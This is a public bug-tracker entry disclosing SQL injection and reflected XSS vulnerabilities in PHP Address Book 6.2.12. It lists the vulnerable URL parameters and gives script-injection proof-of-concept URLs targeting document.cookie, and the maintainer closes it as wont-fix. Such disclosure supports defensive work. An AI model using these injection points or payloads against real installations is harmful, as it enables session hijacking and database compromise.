PHP Address Book / Bugs / #7 PHP Address Book 6.2.12 Multiple security vulnerabilities

#7 PHP Address Book 6.2.12 Multiple security vulnerabilities

Milestone: v1.0_(example)

Status: wont-fix

Owner: nobody

Labels: Security risk (5)

Priority: 5

Updated: 2012-10-28

Created: 2012-03-03

Creator: Anonymous

Private: No

Hi,

I`ve found some xss and sql-injection vulnerabilities in PHP Address Book 6.2.12:

// (Blind) SQL-Injection
http://[target]/addressbookv6.2.12/edit.php?id=[sql-injection]
http://[target]/addressbookv6.2.12/group.php?add=Add to&group=1&selected%5b%5d=132&to_group=[sql-injection]
http://[target]/addressbookv6.2.12/vcard.php?id=[sql-injection]

// XSS
http://[target]/addressbookv6.2.12/preferences.php?from='"<script>alert(document.cookie)</script>
http://[target]/addressbookv6.2.12/index.php?group='"<script>alert(document.cookie)</script>

Best regards,
sschurtz

Discussion

chatelao - 2012-10-28

See v7.0.0 Bugs.

If you would like to refer to this comment somewhere else in this project, copy and paste the following link:
- Anonymous
  
  Add attachments
  Cancel
  You seem to have CSS turned off. Please don't fill out this field.
  
  You seem to have CSS turned off. Please don't fill out this field.

chatelao - 2012-10-28

status: open --> wont-fix

milestone: --> v1.0_(example)
If you would like to refer to this comment somewhere else in this project, copy and paste the following link:
- Anonymous
  
  Add attachments
  Cancel
  You seem to have CSS turned off. Please don't fill out this field.
  
  You seem to have CSS turned off. Please don't fill out this field.

Anonymous

PHP Address Book 6.2.12 Multiple security vulnerabilities

Simple, web-based address & phone book

Group

Searches

Help

#7 PHP Address Book 6.2.12 Multiple security vulnerabilities

Discussion